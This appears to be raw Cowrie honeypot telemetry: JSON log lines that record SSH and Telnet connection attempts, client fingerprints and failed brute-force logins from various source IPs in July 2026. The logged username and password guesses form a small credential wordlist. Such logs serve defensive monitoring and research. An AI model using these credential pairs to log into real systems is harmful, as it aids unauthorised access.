{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:36:12.150445Z","src_ip":"217.160.226.51","session":"7de829b76fcb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpadmin","password":"12345678","message":"login attempt [ftpadmin/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:36:12.614228Z","src_ip":"217.160.226.51","session":"7de829b76fcb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:36:13.724294Z","src_ip":"217.160.226.51","session":"7de829b76fcb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"175.118.127.138","src_port":34090,"dst_ip":"159.203.135.109","dst_port":22,"session":"b84fcedcfe8b","protocol":"ssh","message":"New connection: 175.118.127.138:34090 (159.203.135.109:22) [session: b84fcedcfe8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:36:14.930989Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:36:14.935193Z","src_ip":"175.118.127.138","session":"b84fcedcfe8b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:36:15.116069Z","src_ip":"175.118.127.138","session":"b84fcedcfe8b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bitrix","password":"123","message":"login attempt [bitrix/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:36:15.876495Z","src_ip":"175.118.127.138","session":"b84fcedcfe8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:36:17.060506Z","src_ip":"175.118.127.138","session":"b84fcedcfe8b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":37512,"dst_ip":"10.17.0.5","dst_port":22,"session":"0268f821ffbd","protocol":"ssh","message":"New connection: 91.92.40.4:37512 (10.17.0.5:22) [session: 0268f821ffbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:36:17.326396Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:36:17.330201Z","src_ip":"91.92.40.4","session":"0268f821ffbd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:36:17.410835Z","src_ip":"91.92.40.4","session":"0268f821ffbd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"apache","password":"apache","message":"login attempt [apache/apache] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:36:17.659876Z","src_ip":"91.92.40.4","session":"0268f821ffbd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:36:18.743964Z","src_ip":"91.92.40.4","session":"0268f821ffbd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.190.216.105","src_port":56474,"dst_ip":"10.17.0.5","dst_port":22,"session":"ee55dcb2a48d","protocol":"ssh","message":"New connection: 172.190.216.105:56474 (10.17.0.5:22) [session: ee55dcb2a48d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:36:28.669989Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:36:28.710766Z","src_ip":"172.190.216.105","session":"ee55dcb2a48d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:36:28.750582Z","src_ip":"172.190.216.105","session":"ee55dcb2a48d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Server2","message":"login attempt [root/Server2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:36:28.875108Z","src_ip":"172.190.216.105","session":"ee55dcb2a48d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:36:29.897455Z","src_ip":"172.190.216.105","session":"ee55dcb2a48d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.182.83.231","src_port":53860,"dst_ip":"10.17.0.5","dst_port":22,"session":"7307fd353a7c","protocol":"ssh","message":"New connection: 5.182.83.231:53860 (10.17.0.5:22) [session: 7307fd353a7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:36:42.213691Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:36:42.217600Z","src_ip":"5.182.83.231","session":"7307fd353a7c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:36:42.335013Z","src_ip":"5.182.83.231","session":"7307fd353a7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"opop","message":"login attempt [root/opop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:36:42.837083Z","src_ip":"5.182.83.231","session":"7307fd353a7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":54648,"dst_ip":"159.203.135.109","dst_port":23,"session":"0f32aaf302ce","protocol":"telnet","message":"New connection: 170.64.224.25:54648 (159.203.135.109:23) [session: 0f32aaf302ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:36:43.199582Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:36:43.957821Z","src_ip":"5.182.83.231","session":"7307fd353a7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.049238443374634,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:36:44.576473Z","src_ip":"170.64.224.25","session":"6a2e68969702","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":54658,"dst_ip":"159.203.135.109","dst_port":23,"session":"b822f598ff3a","protocol":"telnet","message":"New connection: 170.64.224.25:54658 (159.203.135.109:23) [session: b822f598ff3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:36:46.335230Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":57892,"dst_ip":"159.203.135.109","dst_port":23,"session":"eb052b9c19f2","protocol":"telnet","message":"New connection: 170.64.224.25:57892 (159.203.135.109:23) [session: eb052b9c19f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:36:51.440961Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.248.201.12","src_port":36936,"dst_ip":"159.203.135.109","dst_port":22,"session":"e7edb73f4f1c","protocol":"ssh","message":"New connection: 161.248.201.12:36936 (159.203.135.109:22) [session: e7edb73f4f1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:36:51.775671Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:36:51.779836Z","src_ip":"161.248.201.12","session":"e7edb73f4f1c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:36:52.035177Z","src_ip":"161.248.201.12","session":"e7edb73f4f1c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":46836,"dst_ip":"10.17.0.5","dst_port":22,"session":"9bc7da4bae28","protocol":"ssh","message":"New connection: 80.66.85.226:46836 (10.17.0.5:22) [session: 9bc7da4bae28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:36:52.270629Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:36:52.274834Z","src_ip":"80.66.85.226","session":"9bc7da4bae28","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:36:52.362530Z","src_ip":"80.66.85.226","session":"9bc7da4bae28","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"reyrtutyd","message":"login attempt [root/reyrtutyd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:36:52.624362Z","src_ip":"80.66.85.226","session":"9bc7da4bae28","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rootuser","password":"rootuser","message":"login attempt [rootuser/rootuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:36:53.088367Z","src_ip":"161.248.201.12","session":"e7edb73f4f1c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:36:53.713873Z","src_ip":"80.66.85.226","session":"9bc7da4bae28","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:36:54.345751Z","src_ip":"161.248.201.12","session":"e7edb73f4f1c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.187.11","src_port":35842,"dst_ip":"10.17.0.5","dst_port":22,"session":"622ce33215eb","protocol":"ssh","message":"New connection: 167.172.187.11:35842 (10.17.0.5:22) [session: 622ce33215eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:36:58.541759Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:36:58.546036Z","src_ip":"167.172.187.11","session":"622ce33215eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:36:58.626553Z","src_ip":"167.172.187.11","session":"622ce33215eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"dev@","message":"login attempt [dev/dev@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:36:58.983364Z","src_ip":"167.172.187.11","session":"622ce33215eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:37:00.066917Z","src_ip":"167.172.187.11","session":"622ce33215eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.49.20.69","src_port":47048,"dst_ip":"10.17.0.5","dst_port":23,"session":"c230a48e8cb2","protocol":"telnet","message":"New connection: 65.49.20.69:47048 (10.17.0.5:23) [session: c230a48e8cb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:37:08.887597Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.1","password":"Host: 134.199.244.163:23","message":"login attempt [GET / HTTP/1.1/Host: 134.199.244.163:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:37:08.903137Z","src_ip":"65.49.20.69","session":"c230a48e8cb2","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.3","password":"Accept: */*","message":"login attempt [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.3/Accept: */*] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:37:08.906414Z","src_ip":"65.49.20.69","session":"c230a48e8cb2","protocol":"telnet"}
